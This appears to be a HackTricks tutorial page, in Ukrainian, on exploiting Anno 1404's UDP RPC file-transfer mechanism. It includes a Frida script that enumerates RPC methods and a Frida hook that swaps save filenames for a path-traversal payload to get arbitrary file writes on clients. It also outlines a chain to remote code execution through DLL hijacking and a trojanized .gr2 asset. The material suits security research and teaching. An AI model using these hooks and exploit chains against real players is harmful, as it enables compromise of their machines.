Налаштування користувацьких UDP RPC та зловживання передачею файлів

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Картографування власницьких RPC об’єктів за допомогою Frida

Старі мультиплеєрні проєкти часто вбудовують саморобні RPC-стеки поверх UDP. У Anno 1404: Venice це реалізовано в NetComEngine3.dll через диспетчер RMC_CallMessage, який розбирає 5 полів з кожного датаграму:

FieldPurpose
IDRPC-дія (16-bit)
FlagsМодифікатори транспорту (надійність, порядок доставки)
SourceID об’єкта відправника
TargetObjectЕкземпляр віддаленого об’єкта
MethodІндекс методу в цільовому класі

Дві допоміжні функції – ClassToMethodName() та TargetName() – переводять сирі ID у людино-зрозумілі рядки для логування. Шляхом brute-forcing 24‑bit object IDs і 16‑bit method IDs та виклику цих функцій ми можемо перерахувати всю віддалено доступну поверхню без захоплень трафіку або symbol leaks.

Перерахувач поверхні Frida (скорочено) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Запуск `frida -l explore-surface.js Addon.exe` вивів повну карту RPC, включно з об'єктом `Player` (`0x7400000`) та його file-transfer verbs `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, and `OnCancelSendFile`. Та сама робоча схема застосовна до будь-якого бінарного протоколу, який експонує внутрішні reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method.

### Поради

- Використовуйте власні logging buffers движка (`WString::Format` у цьому випадку), щоб уникнути повторної реалізації недокументованих кодувань рядків.
- Здампте `Flags`, щоб ідентифікувати механізми надійності (ACK, resend requests) перед спробами fuzzing; custom UDP stacks часто мовчки відкидають пошкоджені пакети.
- Зберігайте перелічену карту — вона служить як fuzzing corpus і робить очевидним, які об'єкти маніпулюють файловою системою, станом світу або скриптами в грі.

## Subverting file-transfer RPCs

Multiplayer save synchronization used a two-packet handshake:

1. `OnSendFileInit` — carries the UTF‑16 filename the client should use when saving the incoming payload.
2. `OnSendFileData` — streams raw file contents in fixed-size chunks.

Because the server serializes the filename through `ByteStreamWriteString()` right before sending, a Frida hook can swap the pointer to a traversal payload while keeping packet sizes intact.

<details>
<summary>Filename swapper</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

Клієнти-жертви взагалі не виконували санітизації і записували отримане збереження у будь-який шлях, який вказував ворожий хост, наприклад у C:\User\user замість призначеної гілки ...\Savegames\MPShare. На Windows-інсталяціях Anno 1404 каталог гри доступний для запису всіма, тож traversal миттєво перетворюється на примітив довільного запису файлу:

  • Drop DLLs для classic search-order hijacking при наступному запуску, або
  • Overwrite asset archives (RDA files), щоб weaponized models, textures або scripts завантажувалися живцем в тій самій сесії.

Захист / атака інших цілей

  • Шукайте RPC-дієслова з іменами SendFile, Upload, ShareSave тощо, а потім перехоплюйте helper серіалізації, відповідальний за імена файлів або цільові каталоги.
  • Навіть якщо імена файлів перевіряються по довжині, багато стеків забувають нормалізувати ..\ або змішані послідовності / vs \; перебирайте всі роздільники brute-force.
  • Коли приймач зберігає файли під шляхом інсталяції гри, перевірте ACLs через icacls, щоб підтвердити, чи може непривілейований користувач записати там код.

Перетворення path traversal у виконання живих asset’ів

Щойно ви можете завантажувати довільні байти, замініть будь-який часто завантажуваний asset:

  1. Unpack the archive. RDA archives — DEFLATE-based контейнері, метадані яких опціонально XOR-обфусцировані потоками з насінням srand(0xA2C2A). Інструменти на кшталт RDAExplorer перепаковують архіви після редагувань.
  2. Inject a malicious .gr2. Троянізований Granny 3D файл несе relocation експлойт, який перезаписує SectionContentArray і через двоступеневу послідовність релокацій отримує довільний 4-байтний запис всередині granny2.dll.
  3. Hijack allocator callbacks. За вимкненого ASLR та відключеного DEP, заміна вказівників функцій malloc/free у granny2.dll перенаправляє наступне виділення під вашу shellcode, даючи миттєвий RCE без очікування перезапуску гри жертвою.

Цей патерн узагальнюється на будь-яку гру, що стримує структуровані assets з бінарних архівів: комбінуйте RPC-рівневий traversal для доставки і небезпечну обробку релокацій для виконання коду.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks